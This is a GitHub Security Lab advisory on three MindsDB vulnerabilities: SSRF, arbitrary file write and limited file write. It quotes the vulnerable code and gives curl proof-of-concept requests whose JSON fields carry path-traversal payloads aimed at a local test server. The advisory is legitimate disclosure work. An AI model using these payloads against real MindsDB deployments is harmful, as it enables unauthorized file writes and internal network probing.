skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 21, 2023

GHSL-2023-182_GHSL-2023-184: Server-side request forgery (SSRF), arbitrary file write and limited file write vulnerabilities in mindsdb/mindsdb - CVE-2023-49795, CVE-2023-50731, CVE-2023-49796

Sylwia Budzynska

Coordinated Disclosure Timeline

Summary

Three vulnerabilities that can be exploited by unauthenticated users were found in MindsDB: a Server-side request forgery (SSRF) vulnerability, an arbitrary file write vulnerability and a limited file write vulnerability.

Product

mindsdb/mindsdb

Tested Version

v23.7.4.1

Details

Issue 1: SSRF in file.py (GHSL-2023-182)

The put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled URL in the source variable and uses it to create arbitrary requests on line 115, which allows Server-side request forgery (SSRF).

with requests.get(url, stream=True) as r:
        if r.status_code != 200:
            return http_error(
                400,
                "Error getting file",
                f"Got status code: {r.status_code}"
            )

There is another potential instance of SSRF on line 96 affecting cloud-based deployments.

This issue was found using the SSRF CodeQL query for python.

Proof of Concept

  1. Create a new test folder with an example CSV file called test.csv. Start a simple python server in the folder with python -m http.server 9090 This command will serve the example files container in the folder on http://127.0.0.1:9090
  2. Start MindsDB. We assume in this example that MindsDB in running on http://127.0.0.1:47334/
  3. Send the following request to MindsDB:
    curl -X PUT http://127.0.0.1:47334/api/files/foobar -H "Content-Type: application/json" -d '{"name":"foobar","source":"http://127.0.0.1:9090/test.csv","source_type":"url"}'
    

Impact

This issue may lead to Information Disclosure.

The SSRF allows for forging arbitrary network requests from the MindsDB server. It can be used to scan nodes in internal networks for open ports that may not be accessible externally, as well as scan for existing files on the internal network. It allows for retrieving files with csv, xls, xlsx, json or parquet extensions, which will be viewable via MindsDB GUI. For any other existing files, it is a blind SSRF.

Resources

Issue 2: Arbitrary file write in file.py (GHSL-2023-183)

The same put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled name value, which is used in a temporary file name, which is afterwards opened for writing on lines 122-125, which leads to path injection.

file_path = os.path.join(temp_dir_path, data['file'])
with open(file_path, 'wb') as f:
    for chunk in r.iter_content(chunk_size=8192):
        f.write(chunk)

Later in the method, the temporary directory is deleted on line 151, but since we can write outside of the directory using the path injection vulnerability, the potentially dangerous file is not deleted.

os.rmdir(temp_dir_path)

Arbitrary file contents can be written due to f.write(chunk) on line 125. Mindsdb does check later on line 149 in the save_file method in file-controller.py which calls the _handle_source method in file_handler.py if a file is of one of the types: csv, json, parquet, xls, xlsx. However, since the check happens after the file has already been written, the files will still exist (and will not be removed due to the path injection described earlier), just the _handle_source method will return an error.

The same user-controlled source source is used also in another path injection sink on line 138. This leads to another path injection, which allows an attacker to delete any zip or tar.gz files on the server.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Impact

This issue may lead to arbitrary file write. This vulnerability allows for writing files anywhere on the server that the filesystem permissions that the server is running with allow to.

Resources

Proof of Concept

  1. Create a new test folder with a potentially dangerous file called pwned.txt. Start a simple python server in the folder with python -m http.server 9090. This command will serve the example files container in the folder on http://127.0.0.1:9090
  2. Start MindsDB. We assume in this example that MindsDB in running on http://127.0.0.1:47334/
  3. Send the following request to MindsDB:
    curl -X PUT http://127.0.0.1:47334/api/files/foo -H "Content-Type: application/json" -d '{"name":"../../../../../../mindsdb/file.txt","source":"http://127.0.0.1:9090/pwned.txt","source_type":"url"}'
    

    You may need to modify the original_file_name value in case you are using another folder name for your MindsDB installation.

  4. Go to the mindsdb folder on the server and check that file.txt file with contents of pwned.txt has been created.

Issue 3: Limited file write in file.py (GHSL-2023-184)

The same put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled original_file_name value, which is used in a path and afterwards moved in file_controller.py on lines 98-100, which leads to path injection.

source = file_dir.joinpath(file_name)
# NOTE may be delay between db record exists and file is really in folder
shutil.move(file_path, str(source))

Since the path injection happens after the file’s contents have been checked by the _handle_source method in file_handler.py to be one of csv, xls, xlsx, json or parquet files, it is possible to create and overwrite files that are real csv, xls, xlsx, json or parquet files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Impact

This issue may lead to limited file write. It allows for creating and overwriting files, but only if they are real csv, xls, xlsx, json or parquet files.

Proof of Concept

  1. Create a new test folder with a potentially dangerous file called file.csv. Start a simple python server in the folder with python -m http.server 9090. This command will serve the example files container in the folder on http://127.0.0.1:9090
  2. Start MindsDB. We assume in this example that MindsDB in running on http://127.0.0.1:47334/
  3. Send the below request to MindsDB
    curl -X PUT http://127.0.0.1:47334/api/files/bar -H "Content-Type: application/json" -d '{"name":"bar","original_file_name":"../../../../../../../../../../../mindsdb/file.txt","source":"http://127.0.0.1:9090/file.csv","source_type":"url"}'
    

    You may need to modify the original_file_name value in case you are using another folder name for your MindsDB installation.

  4. Go to the mindsdb folder on the server and check that file.txt file with contents of file.csv has been created.

CVE

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-182, GHSL-2023-183, or GHSL-2023-184 in any communication regarding these issues.